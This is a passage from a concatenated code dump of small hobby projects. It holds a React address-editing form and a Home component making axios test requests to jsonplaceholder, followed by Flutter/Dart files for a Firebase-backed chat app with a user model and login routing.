const onZipChange = (e) => {
setzipInput(e.target.value);
};
const taskSubmit = (e) => {
props.change_item(props.id,"address",streetInput,suiteInput,cityInput,zipInput);
props.eidtModeOnReset();
};
return (
<form className="">
<span className="form-group">
<input type="text" className="form-control"
value={streetInput} onChange={onStreetChange}/>
<input type="text" className="form-control"
value={suiteInput} onChange={onSuiteChange}/>
<input type="text" className="form-control"
value={cityInput} onChange={onCityChange}/>
<input type="text" className="form-control"
value={zipInput} onChange={onZipChange}/>
</span>
<span className="btn-outline-info "
onClick={taskSubmit}>{icon_submit}
</span>
<span className="stepahead btn-outline-info"
onClick={props.eidtModeOnReset}>{icon_cancel}
</span>
</form>
);
}
export default ItemisAddress;
|
af489bc30635565e3f6286c0a333ef718cc5995d
|
[
"JavaScript"
] | 4 |
JavaScript
|
kochetovM/apirequestUsers
|
5cc58a8ae44502fc396f0ab92dd9d7c44fb92e9f
|
f491110d205aa16644fdee2c1a701393e57ffb2b
|
refs/heads/master
|
<file_sep>import React, { Component } from 'react'
import axios from 'axios'
import '../home.css'
class Home extends Component {
constructor(props) {
super(props)
this.state = {
homeState: ""
}
}
updateData() {
const data = {
'userID': '2234',
'title': 'Okay dexter New',
'body': 'quia et suscipit recusandaet'
}
axios.put('https://jsonplaceholder.typicode.com/posts/1',
data)
.then((data) => {
console.log(data);
})
.catch((err) => {
console.log(err);
})
}
delData() {
const data = {
'userID': '2234',
'title': 'Okay dexter New',
'body': 'quia et suscipit recusandaet'
}
axios.delete('https://jsonplaceholder.typicode.com/posts/1',
data)
.then((data) => {
console.log(data);
})
.catch((err) => {
console.log(err);
})
}
render() {
return (
<div id='topbarCenter'>
<h1 id='Logo'>PostBook</h1>
<p id='para1'>Namastey!</p>
<button id='button1' onClick={this.updateData}>Update</button>
<button id='button2' onClick={this.delData}>Delete</button>
</div>
)
}
}
export default Home<file_sep>import React from 'react';
import Home from './components/Home';
import PostList from './components/PostList';
import PostForm from './components/PostForm';
import './container.css';
function App() {
return (
<div className='topbarContainer'>
<Home />
<PostList />
<PostForm />
</div>
)
}
export default App;<file_sep>.topbarContainer {
width: 100%;
background-color:rgb(36, 36, 70);
display: inline-block;
align-items: center;
position: absolute;
top: 0;
bottom:auto;
text-align: center;
}
|
c4a0e7f3742eef9cda90d127982ed3fa71c7c511
|
[
"JavaScript",
"CSS"
] | 3 |
JavaScript
|
Kulbhushan2703/create-react-app
|
34f3df6765fc7f1062a045a5224963db566741dd
|
e9d1acddeec173b019d591a246870942bf0b79e7
|
refs/heads/master
|
<file_sep># Project Name
Advanced-Building-Blocks-Enumerables
# Author
<NAME>
# Project Website
https://www.theodinproject.com/courses/ruby-programming/lessons/advanced-building-blocks
obs: Assignment 2
# Project Description
Recreating the methods for Enumerable
|
e599deb14e76ed4982f4b13753a09bfcebf2c8c5
|
[
"Markdown"
] | 1 |
Markdown
|
hugopassos/Advanced-Building-Blocks-Enumerables
|
f0b8ba98edc50e0dbd434aac2091308e03b1c4e0
|
ed163fc80ffa91c0e391d02e3d33af3e9f9f664b
|
refs/heads/main
|
<repo_name>yuanliif/A19<file_sep>/views/profolio.hbs
<h1>profolio</h1>
|
aa88a567acb101f7457e5bc75f2d8581f7dc8fc4
|
[
"Handlebars"
] | 1 |
Handlebars
|
yuanliif/A19
|
032471340292b945cf922dfbc6714ca86709c983
|
3f4112af8d217fb3103317dbeb03dc23a63ae602
|
refs/heads/master
|
<file_sep># Installation
> `npm install --save @types/koa-validate`
# Summary
This package contains type definitions for koa-validator.js (https://github.com/RocksonZeta/koa-validate).
# Credits
These definitions were written by lessu <https://github.com/lessu/types-koa-validate><file_sep>// Type definitions for koa-validate v0.2 https://github.com/RocksonZeta/koa-validate
// Project: @types/koa-valiate
// Definitions by: lessu <https://github.com/lessu/types-koa-validate>
// Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped
/**================================
* Usage
* import * as Koa from "koa"
* import bodyparser = require("koa-bodyparser");
* import Validate = require("koa-validate");
*
* let app = new Koa();
* app.use(bodyparser());
* Validate(app);
*
* ================================
*/
import * as Validator from "validator";
declare enum UUIDVersion{
Version3 = 3,
Version4 = 4,
Version5 = 5
}
declare enum ISBNVersion{
Version10 = 10,
Version13 = 13
}
declare interface FileObject{
//"image/jpeg"
type : string,
path : string,
name : string,
size : string,
mtile : string
}
declare interface FileTargetFunction{
(fileObject:FileObject,fieldName:string,context:any) : string;
}
declare interface FileAfterFunction{
(fileObject:FileObject,fieldName:string,context:any) : void;
}
export = KoaValidate;
// App is a Koa ,but ts will raise a type mismatch error,it is related to `declare module "koa"`,may be it'a bug for typescript.
declare function KoaValidate(app : Koa):void;
declare namespace KoaValidate{
export class Validator{
constructor(context:any, key:string, value:any, exists:boolean, params :any, goOn:boolean);
// Access validator status:
// - add an error to validator errors.
addError : (tip:string|any) => boolean;
// - check if validator has errors.
hasError : () => boolean;
// - the value of current validator.
value : any;
// - the param may not in the params.if the param not exists,it has no error,no matter whether have other checker or not.
optional : ()=>Validator;
// - the params can be a empty string.
empty : (tip?:string|any)=>Validator;
// - check if the param is not empty.
notEmpty : (tip?:string|any)=>Validator;
// - check if the param is not blank,use /^\s*$/gi reg to check.
notBlank : (tip?:string|any)=>Validator;
// - pattern must be a RegExp instance ,eg. /abc/i
match : (pattern:RegExp,tip?:string|any)=>Validator;
// - pattern must be a RegExp instance ,eg. /xyz/i
notMatch : (pattern:RegExp,tip?:string|any)=>Validator;
// - if assertion is false,the asserting failed.
ensure : (assertion:boolean, tip?:string|any, shouldBail?:boolean)=>Validator;
// - if assertion is true,the asserting failed.
ensureNot : (assertion:boolean, tip?:string|any, shouldBail?:boolean)=>Validator;
// - check if the param is integer.
isInt : (tip?:string|any,options?:ValidatorJS.IsIntOptions)=>Validator;
// - check if the param is float.
isFloat : (tip?:string|any,options?:ValidatorJS.IsFloatOptions)=>Validator;
// - check the param length.
isLength : (min:number,max?:number,tip?:string|any)=>Validator;
// - the abbreviation of isLength.
len : (min:number,max?:number,tip?:string|any)=>Validator;
// - check if the param is in the array.
isIn : (arr:any[],tip?:string|any)=>Validator;
// - the abbreviation of isIn.
in : (arr:any[],tip?:string|any)=>Validator;
// - check if the param equal to the value.
eq : (value:any,tip?:string|any)=>Validator;
// - check if the param not equal to the value.
neq : (value:any,tip?:string|any)=>Validator;
// - check if the param great then the value.
gt : (num:number,tip?:string|any)=>Validator;
// - check if the param less then the value.
lt : (num:number,tip?:string|any)=>Validator;
// - check if the param great then or equal the value.
ge : (num:number,tip?:string|any)=>Validator;
// - check if the param less then or equal the value.
le : (num:number,tip?:string|any)=>Validator;
// - check if the param contains the str.
contains : (str:string,tip?:string|any)=>Validator;
// - check if the param not contains the str.
notContains : (str:string,tip?:string|any)=>Validator;
// - check if the param is an email.
isEmail : (tip?:string|any,options?:ValidatorJS.IsEmailOptions)=>Validator;
// - check if the param is an URL.
isUrl : (tip?:string|any,options?:ValidatorJS.IsURLOptions)=>Validator;
// - check if the param is an IP (version 4 or 6).
isIp : (tip?:string|any)=>Validator;
// - check if the param contains only letters (a-zA-Z).
isAlpha : (tip?:string|any,locale?:ValidatorJS.AlphaLocale)=>Validator;
// - check if the param contains only numbers.
isNumeric : (tip?:string|any)=>Validator;
// - check if the param contains only letters and numbers.
isAlphanumeric:(tip?:string|any,locale?:ValidatorJS.AlphanumericLocale)=>Validator;
// - check if a param is base64 encoded.
isBase64 : (tip?:string|any)=>Validator;
// - check if the param is a hexadecimal number.
isHexadecimal:(tip?:string|any)=>Validator;
// - check if the param is a hexadecimal color.
isHexColor : (tip?:string|any)=>Validator;
// - check if the param is lowercase.
isLowercase : (tip?:string|any)=>Validator;
// - check if the param is uppercase.
isUppercase : (tip?:string|any)=>Validator;
// - check if the param is a number that's divisible by another.
isDivisibleBy:(num:number,tip?:string|any)=>Validator;
// - check if the param is null.
isNull : (tip?:string|any)=>Validator;
// - check if the param's length (in bytes) falls in a range.
isByteLength: (min:number,max:number,tip?:string|any)=>Validator;
// - the abbreviation of isByteLength.
byteLength : (min:number,max:number,tip?:string|any)=>Validator;
// - check if the param is a UUID (version 3, 4 or 5).
isUUID : (tip?:string|any,version?:UUIDVersion)=>Validator;
// - check if the param is a date.
isDate : (tip?:string|any)=>Validator;
// - check if the param is a date that's after the specified date.
isAfter : (date:Date,tip?:string|any)=>Validator;
// - check if the param is a date that's before the specified date.
isBefore : (date:Date,tip?:string|any)=>Validator;
// - check if the param is a credit card.
isCreditCard: (tip?:string|any)=>Validator;
// - check if the param is an ISBN (version 10 or 13).
isISBN : (tip?:string|any,version?:ISBNVersion)=>Validator;
// - check if the param is valid JSON (note: uses JSON.parse).
isJSON : (tip?:string|any)=>Validator;
// - check if the param contains one or more multibyte chars.
isMultibyte : (tip?:string|any)=>Validator;
// - check if the param contains ASCII chars only.
isAscii : (tip?:string|any)=>Validator;
// - check if the param contains any full-width chars.
isFullWidth : (tip?:string|any)=>Validator;
// - check if the param contains any half-width chars.
isHalfWidth : (tip?:string|any)=>Validator;
// - check if the param contains a mixture of full and half-width chars
isVariableWidth:(tip?:string|any)=>Validator;
// - check if the param contains any surrogate pairs chars.
isSurrogatePair:(tip?:string|any)=>Validator;
// - check if the param is a currency.
isCurrency : (tip?:string|any,options?:ValidatorJS.IsCurrencyOptions)=>Validator;
// - check if the param is a data uri.
isDataURI : (tip?:string|any)=>Validator;
// - check if the param is a mobile phone.
isMobilePhone:(tip?:string|any,locale?:ValidatorJS.MobilePhoneLocale)=>Validator;
// - check if the param is a ISO8601 string. eg.2004-05-03
isISO8601 : (tip?:string|any)=>Validator;
// - check if the param is a MAC address.eg.C8:3A:35:CC:ED:80
isMACAddress: (tip?:string|any)=>Validator;
// - check if the param is a ISIN.
isISIN : (tip?:string|any)=>Validator;
// - check if the param is a fully qualified domain name. eg.www.google.com
isFQDN : (tip?:string|any,options?:ValidatorJS.IsFQDNOptions)=>Validator;
// - if the param not exits or is an empty string, it will take the default value.
default : (value:any)=>Validator;
// - convert param to js Date object.
toDate : ()=>Validator;
// - convert param to integer.radix for toInt,options for isInt.
toInt : (tip?:string|any,radix?:number,options?:ValidatorJS.IsIntOptions)=>Validator;
// - convert param to float.
toFloat : (tip?:string|any)=>Validator;
// - convert param to lowercase.
toLowercase : ()=>Validator;
// - same as toLowercase.
toLow : ()=>Validator;
// - convert param to uppercase.
toUppercase : ()=>Validator;
// - same as toUppercase.
toUp : ()=>Validator;
// - convert the param to a boolean. Everything except for '0', 'false' and '' returns true. In strict mode only '1' and 'true' return true.
toBoolean : ()=>Validator;
// - convert param to json object.
toJson : (tip?:string|any)=>Validator;
// - trim characters (whitespace by default) from both sides of the param.
trim : (chars?:string)=>Validator;
// - trim characters from the left-side of the param.
ltrim : (chars?:string)=>Validator;
// - trim characters from the right-side of the param.
rtrim : (chars?:string)=>Validator;
// - replace <, >, & and " with HTML entities.
escape : ()=>Validator;
// - remove characters with a numerical value < 32 and 127, mostly control characters.
stripLow : ()=>Validator;
// - remove characters that do not appear in the whitelist.
whitelist : (value: string | string[])=>Validator;
// - remove characters that appear in the blacklist.
blacklist : (value: string | string[])=>Validator;
// - ref mdn encodeURI
encodeURI : ()=>Validator;
// - ref mdn decodeURI
decodeURI : (tip?:string|any)=>Validator;
// - ref mdn encodeURIComponent
encodeURIComponent : ()=>Validator;
// - ref mdn decodeURIComponent
decodeURIComponent : (tip?:string|any)=>Validator;
// - the same as String replace
replace : (find : RegExp | string, replace:string | Function)=>Validator;
// - clone current value to the new key, if newValue supplied , use it. eg. this.checkBody('v1').clone('md5').md5(); then your can use this.request.body.md5.
clone : (newKey:string,newValue?:any)=>Validator;
// - encode current value to base64 string.
encodeBase64: ()=>Validator;
// - decode current base64 to a normal string,if inBuffer is true , the value will be a Buffer.
decodeBase64: (inBuffer?:boolean,tip?:string|any)=>Validator;
// - hash current value use specified algorithm and encoding(if supplied , default is 'hex'). ref hash
hash : (alg : string, encoding?:string)=>Validator;
// - md5 current value into hex string.
md5 : ()=>Validator;
// - sha1 current value into hex string.
sha1 : ()=>Validator
}
export class FileValidator{
//- current file field can to be a empty file.
empty:() => FileValidator;
// - current file field can not to be a empty file.
notEmpty:(tip?:string|any) => FileValidator;
// - limit the file size.
size:(min:number,max:number,tip?:string|any) => FileValidator;
// - check the file's contentType with regular expression.
contentTypeMatch:(reg:RegExp,tip?:string|any) => FileValidator;
// - check the file's contentType if is image content type.)
isImageContentType:(tip?:string|any) => FileValidator;
// - check the file's name with regular expression.
fileNameMatch:(reg:RegExp,tip?:string|any) => FileValidator;
// - check the suffix of file's if in specified arr. arr eg. ['png','jpg']
suffixIn:(arr:string[],tip?:string|any) => FileValidator;
// - move upload file to the target location. target can be a string or function or function*.if target end with '/' or '\',the target will be deemed as directory. target function interface:string function(fileObject,fieldName,context).this function will return a string of the target file. afterMove:it can be a function or function*.interface:function(fileObject,fieldName,context)
move:(target:string | FileTargetFunction, afterMove?:FileAfterFunction) => IterableIterator<FileValidator>;
// - move upload file to the target location. target can be a string or function or function*. target function interface:function (fileObject,fieldName,context) . afterCopy:it can be a function or function*.interface:function(fileObject,fieldName,context)
copy:(target:string | FileTargetFunction, afterCopy?:FileAfterFunction) => IterableIterator<FileValidator>;
// - delete upload file.
delete:() => IterableIterator<FileValidator>
}
}
declare interface ValidateError{
[key:string] : any;
}
import * as Koa from "koa";
declare module "koa" {
interface Context{
// fieldName => error tip
errors : [any | string | ValidateError],
// - check POST body.,transFn see json-path.it will not use json path (https://github.com/flitbit/json-path#more-power) if transFn is false.
checkBody : (fieldName:string,transFn?:boolean)=>KoaValidate.Validator,
// - check GET query.,transFn see json-path.it will not use json path (https://github.com/flitbit/json-path#more-power) if transFn is false.
checkQuery : (fieldName:string,transFn?:boolean)=>KoaValidate.Validator,
// - check the params in the urls.
checkParams : (fieldName:string)=>KoaValidate.Validator,
// - check the file object, if you use koa-body.this function will return FileValidator object. deleteOnCheckFailed default value is true
checkFile : (fieldName:string,deleteOnCheckFailed?:boolean)=>KoaValidate.FileValidator,
// - check the params in the request http header.
checkHeader : (fieldName:string)=>KoaValidate.Validator
}
}
|
28d90e2238f9b98f4392d200177416a8eab83867
|
[
"Markdown",
"TypeScript"
] | 2 |
Markdown
|
lessu/types-koa-validate
|
362be8bd8735717a97c860508ac11e450326c9d7
|
5d20d69e3fadb0bcfc7c02dea239d2f0952d1b81
|
refs/heads/master
|
<file_sep># arduino-smart-kitchen
Abstract:
In present day, cost of LPG cylinders is very high and we need to be constantly vigilant while using it to reduce the danger.
Usually when we heat a vessel, all the heat is not absorbed by it. Some of the heat goes to the surroundings, this heat goes unutilised usually.
So by using the concept of seedback effect we are generating electricity out of the heat which is not used.
The gas stove has many smart features built in it to save us from accidents. The Ultrasonic Sensor present can help identify whether a vessel is placed on the stove or not while the regulator has been turned on.
The gas sensor helps in switching off the stove and in tripping the main circuit if there has been any possible leakage of the gas. This would prevent any major accidents from happening and also prevents the gas from being aflame due to the electronic circuit present.
The user gets apt notifications about the same on his phone via the app. The gas stove can also be controlled via the smart app.
Existing Methodology & Problems:
There are many technologies for gas detection like GSM, automatic regulator switch off, etc. But the key lies in integration and interlink to each of the systems and working as one
The problem may be solved by a simple fan or placing an exhaust, in the long run they do not work as they can cause a problem indirectly by causing fire due to friction caused by turning of fan.
There are many solutions in the market available, but they are costly and not affordable by all of them and they do improve efficiency.
Proposed Methodology & Ideas:
In case of any emergency like gas leakage it is detected by the gas sensors & then first it will switch off main power supply and alert the user by smart app.
One of the most important feature of the app is "timed cooking”. Imagine a situation where we need to go out immediately and we have cook rice in the cooker which has to be turned off after 20 minutes.
The gas stove gets switched off immediately after 20 minutes once set in the mobile app and also sends a message to the user that the gas stove has been turned off.
In case we on the gas stove and don’t place the vessel, the gas stove would turn off after a couple of SECONDS.
Technology Stack:
Language Used: C Language based Arduino programming.
Software Used:
• Arduino IDE
• Android Studio
• MIT App Inventor
• Pololu and other Hardware divers
Hardware Used:
• Arduino Uno/Mega
• HC-SR04 Ultrasonic Sensor
• MG-995 Servo Motor
• MQ 6 Gas Sensor
• HC 05 Bluetooth Module
• TEC1-12706 6A Peltier Module (Thermoelectric Cooler)
Advantages Of Using This Idea:
It improves safety, ease of use & efficiency of the gas stove.
It can be controlled via smart app.
The “Timed Cooking” helps people to manage with their hectic schedule
In case the gas stove is turned on and no vessel is placed, then, after a certain interval of time, the gas stove will turn off automatically.
<file_sep>#include <Servo.h>
Servo myservo; // create servo object to control a servo
int p=0; // a maximum of eight servo objects can be created
int q=0;
int i=0;
int c=0;
const int E1=12;
const int E2=11;
const int E3=10;
int a=0;
int sensorValue;
int GasSensorPin = 0;
const int pingPin = 7;
const int echoPin = 6;
int pos = 0; // variable to store the servo position
void setup()
{
myservo.attach(9); // attaches the servo on pin 9 to the servo object
Serial.begin(9600);
pinMode(E2,OUTPUT);
pinMode(E3,OUTPUT);
pinMode(E1,OUTPUT);
myservo.write(180);
}
void loop()
{
int s1=digitalRead(E1);
int s2=digitalRead(E2);
int s3=digitalRead(E3);
//initital switch off
if(a==0)
{
myservo.write(180);
a++;
}
if(s1==HIGH) //switch 1
{
Serial.println("BUTTON 1 ACTICATED: SYSTEM ON!");
if(pos<=90)
{
for(; pos<=90; pos+=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
else
{
for(; pos>=90; pos-=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
}
if(s2==HIGH) //switch 2
{
Serial.println("BUTTON 2 ACTIVATED: SYSTEM TURNING OFF!");
for(; pos <=180; pos += 1) // goes from 0 degrees to 180 degrees
{ // in steps of 1 degree
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
c=0;
}
c--;
if(s3==HIGH) //switch 3
{
Serial.println("BUTTON 3 ACTICATED: TIMER ON!");
Serial.println("HIGHHHH!!! + 10 sec. ");
if(c>0)
c+=12;
else
c=12;
if(pos<=90)
{
for(; pos<=90; pos+=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
else
{
for(; pos>=90; pos-=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
}
if(c==1)
{
Serial.println("TIME'S UP: OFF SIRE!!");
for(; pos <=180; pos += 1) // goes from 0 degrees to 180 degrees
{ // in steps of 1 degree
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
}
//motor
if(Serial.available()>0)
{
char i=Serial.read();
if(i=='0'||i=='o') //off
{
for(; pos <=180; pos += 1)
{
myservo.write(pos);
delay(15);
}
}
else if (i=='1'||i=='h')//high
{
if(pos<=90)
{
for(; pos<=90; pos+=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
else
{
for(; pos>=90; pos-=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
}
else if (i=='2'||i=='m')//med
{
if(pos<=45)
{
for(; pos<45; pos+=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
else
{
for(; pos>45; pos-=1) // goes from 180 degrees to 0 degrees
{
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15);
}
}
}
else if (i=='3'||i=='l')//low
{
for(; pos>=1; pos-=1)
{
myservo.write(pos);
delay(15);
}
}
}
//ultrasonic
long duration, inches, cm;
pinMode(pingPin, OUTPUT);
digitalWrite(pingPin, LOW);
delayMicroseconds(2);
digitalWrite(pingPin, HIGH);
delayMicroseconds(10);
digitalWrite(pingPin, LOW);
pinMode(echoPin, INPUT);
duration = pulseIn(echoPin, HIGH);
cm = microsecondsToCentimeters(duration);
Serial.print("Distance = ");
Serial.print(cm);
Serial.print("cm");
Serial.println();
if(cm>=20)
p++;
else
p=0;
// gas
sensorValue = analogRead(GasSensorPin); // read analog input pin 0
Serial.print("Gas Sensor Index:");
Serial.println(sensorValue, DEC);
delay(1000);
if(pos!=180)
{
if(sensorValue>=50&&sensorValue<=350)
Serial.println("PASS: NO GAS LEAKAGE DETECTED");
else
{
q++;
Serial.println("Gas Leakage Detected.");
}
if(q>=6)
{
Serial.println("Switching Off Main Supply since Prominent gas leakage has been detected");
if(pos=180)
Serial.println("All valves are already closed. Please check your surroundings for further misccalculations");
q=0;
for(; pos <=180; pos += 1)
{
myservo.write(pos);
delay(15);
}
}
}
if(p>=10) //ultrasonic condition off
{
if(pos<170)
{
Serial.println("SWITCHING OFF SINCE NO VESSEL HAS BEEN PLACED :(");
if(pos>=170)
{
Serial.println("Detected: System was already in OFF Mode.");
}
delay(3000);
p=0;
if(pos!=180)
{
for(; pos <=180; pos += 1) // goes from 0 degrees to 180 degrees
{ // in steps of 1 degree
myservo.write(pos); // tell servo to go to position in variable 'pos'
delay(15); // waits 15ms for the servo to reach the position
}
}
}
if(pos>=170)
{
Serial.println("Detected: System is in OFF Mode.");
p=0;
}
}
}
long microsecondsToCentimeters(long microseconds)
{
return microseconds / 29 / 2;
}
|
5b44eacf683de8b09d3b1cf505dd1a1e17fb0382
|
[
"Markdown",
"C++"
] | 2 |
Markdown
|
felirox/arduino-smart-kitchen
|
8818ed1ef543e40fe5021c5135ce82d7cf500684
|
2ce0ed491afb391b484c4ff6cdaf53027ac1a79a
|
refs/heads/main
|
<repo_name>thiagocavalsilva/CV<file_sep>/README.md
# CV
Curriculo de <NAME>
|
087189e9b42513970cf526a07e264c7f3d2e0f78
|
[
"Markdown"
] | 1 |
Markdown
|
thiagocavalsilva/CV
|
5a4bea67d2bc9cb523ddcd5540420aa0b7a5056f
|
e3efdbc5fb084d8284f8e97586b6d8b2ddec3eb5
|
refs/heads/master
|
<repo_name>PetukhovaInna/2_lesson<file_sep>/str_n.py
n=input()
s=input()
if (len(s)>int(n)):
print(s.upper())
else:
print(s)
<file_sep>/my_func_sinus.py
import math
value = input("Введите x: ")
if value:
x= float(value)
if 0.2<=x<=0.9:
print(math.sin(x))
else:
print(1)
else:
print("Введите значение x!")
<file_sep>/fun1.py
value = input("Введите x: ")
if value:
x= float(value)
if -2.4<=x<=5.7:
print(x**2)
else:
print(4)
else:
print("Введите значение x!")
<file_sep>/del_element_list.py
names=['John','Paul','George','Ringo']
print([x for x in names if x=='John' or x=='Paul'])
<file_sep>/cinema_price.py
result = 0
kino=input('Введите фильм: ')
den=input('Выбрать день: ')
vrem=input('Выбрать время: ')
bilet=input('Выбрать кол-во билетов: ')
if kino=="Пятница":
if vrem== "12":
result=250
elif vrem== "16":
result=350
elif vrem== "20":
result=450
if kino=="Чемпионы":
if vrem=="10":
result=250
elif vrem=="13":
result=350
elif vrem=="16":
result=350
if kino=="Пернатая банда":
if vrem=="10":
result=350
elif vrem=="14":
result=450
elif vrem=="18":
result=450
if den=="Завтра":
result=result*0.95
elif int(bilet)>=20:
result=result*0.8
print (result*int(bilet))
<file_sep>/table.py.py
value=input('Введите chi: ')
if value:
chi= float(value)
if chi==30:
print("Литий")
elif chi==25:
print("Марганец")
elif chi==80:
print("Ртуть")
elif chi==17:
print("Хлор")
else:
print("Введите значение chi!")
<file_sep>/get_parity.py
def chet(a):
if a%2==0:
return ('chetnoe')
else:
return ('nechetnoe')
<file_sep>/num_pi.py
import math
def pii(x):
return f'{math.pi:.{x}f}'
<file_sep>/new_list.py
from math import sqrt
i=[2,4,9,16,25]
1)
res=[]
for x in range(len(i)):
res.append(sqrt(i[x]))
print(res)
2)
print(list(map(lambda x: sqrt(x),i)))
3)
print([sqrt(x)for x in i])
<file_sep>/if_random_game.py.py
import random
x= int(input())
i=random.randint(1, 4)
if x==i:
print("Победа")
else:
if (x>i):
print("Повторите ещё раз!","Загаданное число меньше")
else:
print("Повторите ещё раз!","Загаданное число больше")
<file_sep>/str_op.py
s = "У лукоморья 123 дуб зеленый 456"
1)s.find('я')
2)s.count('у')
3)if s.isalpha():
print(true)
else:
print (s.upper())
4)if (len(s)>4):
print (s.lower())
5)s.replace("У", "О")
<file_sep>/random_letter1.py
import random
s=['самовар', 'весна', 'лето']
c=random.choice(s)
b=random.choice(c)
i=(c.count(b))
k=c[:i] + '?' + c[i+1:]
print(k)
buk=input('Введите букву: ')
if (buk==b):
print('Победа!')
else:
print('Увы!Попробуйте в другой раз.')
print('Слово:',c)
<file_sep>/count_sum.py
a=input('Введите число:')
sumk=0
if a.isdigit():
for i in list(a):
if int(i)%2==1:
sumk+=int(i)*int(i)
print('Сумма квадратов нечётных цифр в числе:',sumk)
else: print('Введите число!')
<file_sep>/call_tel.py
kod=0
vrem=0
vrem=input('введите время: ')
kod=input('Введите код: ')
if kod=="343":
gorod='Екатеринбург'
rub=15
if kod=="381":
gorod="Омск"
rub=18
if kod=="473":
gorod="Воронеж"
rub=13
if kod=="485":
gorod="Ярославль"
rub=11
print (rub*int(vrem))
|
f77ae22f874dd62210a7595acb0387a6d7cfe9e8
|
[
"Python"
] | 14 |
Python
|
PetukhovaInna/2_lesson
|
437401a93b45f55bc5553779dc261c63821db2e8
|
be4a5ce49790b054217b7ed514d87269d6935f0b
|
refs/heads/master
|
<file_sep>//package com.library.entity;
//
//import javax.persistence.Column;
//import javax.persistence.Entity;
//import javax.persistence.GeneratedValue;
//import javax.persistence.GenerationType;
//import javax.persistence.Id;
//import javax.persistence.Table;
//
//@Entity
//@Table(name="AUTHORS")
//public class Author {
//
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// @Column(name="Author_id")
// private int Author_id;
//
// @Column(name="Author_name")
// private String Author_name;
//
// public String getAuthor_name() {
// return Author_name;
// }
//
// public void setAuthor_name(String author_name) {
// Author_name = author_name;
// }
//
// public int getAuthor_id() {
// return Author_id;
// }
//
// public Author() {
//
// }
//
// public void setAuthor_id(int author_id) {
// Author_id = author_id;
// }
//
// @Override
// public String toString() {
// return "Author [Author_id=" + Author_id + ", Author_name=" + Author_name + "]";
// }
//
//
//
//}
package com.library.entity;
import java.util.List;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.OneToMany;
@Entity(name="authors")
public class Author {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name="Author_id")
private int author_id;
@OneToMany(mappedBy = "author", cascade = CascadeType.ALL)
private List<BookAuthor> bookAuthor;
@Column(name="Author_name")
private String name;
public int getAuthor_id() {
return author_id;
}
public void setAuthor_id(int author_id) {
this.author_id = author_id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<BookAuthor> getBookAuthor() {
return bookAuthor;
}
public void setBookAuthor(List<BookAuthor> bookAuthor) {
this.bookAuthor = bookAuthor;
}
}
<file_sep>Steps:
1. Create database tables and schemas using LibraryScript.txt file present inside zip folder.
2. Open Library Management System Folder in Eclipse.
3. All Spring and Hibernate jar files stored in spring+hibernate jar files, add it to project inside /Webcontent/WEB-INF/lib folder.
4. Install Tomcat server and deploy this project inside it.
5. Run this application using http://localhost:8080/LibraryManagementSystem/.
<file_sep>package com.library.dao;
import java.util.List;
import javax.transaction.Transactional;
import org.hibernate.Query;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.library.entity.Author;
@Repository
public class AuthorDAOImpl implements AuthorDAO {
@Autowired
private SessionFactory sessionFactory;
@Override
@Transactional
public List<Author> getAuthors() {
Session currentSession = sessionFactory.getCurrentSession();
Query <Author> theQuery = currentSession.createQuery("from authors",Author.class);
List<Author> theAuthor = theQuery.getResultList();
return theAuthor;
}
@Override
public void saveCustomer(Author theAuthor) {
// TODO Auto-generated method stub
}
@Override
public Author getCustomer(int authorId) {
// TODO Auto-generated method stub
return null;
}
@Override
public void deleteCustomer(int authorId) {
// TODO Auto-generated method stub
}
}
|
6e1e5000ad004298775f19aef520cef2f40d063d
|
[
"Java",
"Text"
] | 3 |
Java
|
nilpatel111296/Library-Management-System-
|
fe8f539a100c6f1b511bbfb3ec063cebdeba2306
|
0ea8d17e927cf5815a1da42d87426eeb3a31616d
|
refs/heads/master
|
<repo_name>Halla-yk/full_chat_app2<file_sep>/lib/models/user.dart
import 'package:flutter/cupertino.dart';
import 'package:full_chat_app/constant.dart';
class User {
String id;
String fullName;
String email;
User(
{
@required this.fullName,
@required this.id,
@required this.email,
});
factory User.fromDB(Map<String, dynamic> db) {
return User(
id: db[KUserId],
fullName: db[KUserName],
email: db[KUserEmail],
);
}
}<file_sep>/lib/main.dart
import 'package:flutter/material.dart';
import 'package:full_chat_app/services/auth.dart';
import 'package:full_chat_app/views/home2.dart';
import 'package:full_chat_app/views/loginScreen.dart';
import 'package:full_chat_app/views/signUpScreen.dart';
import 'package:firebase_core/firebase_core.dart';
import 'package:full_chat_app/views/home.dart';
Future<void> main() async {
WidgetsFlutterBinding.ensureInitialized();
await Firebase.initializeApp();
runApp(MyApp());
}
class MyApp extends StatelessWidget {
// This widget is the root of your application.
@override
Widget build(BuildContext context) {
return MaterialApp(
debugShowCheckedModeBanner: false,
title: 'Flutter Demo',
theme: ThemeData(
scaffoldBackgroundColor: Color(0xff393E46)
),
home: FutureBuilder(future: FirebaseServices().getUser(),
builder:(BuildContext context, AsyncSnapshot<dynamic> snapshot){
if(snapshot.hasData){
return Home2();
}
else
return LoginScreen();
},),
);
}
}
<file_sep>/lib/views/chatScreen.dart
import 'package:cloud_firestore/cloud_firestore.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
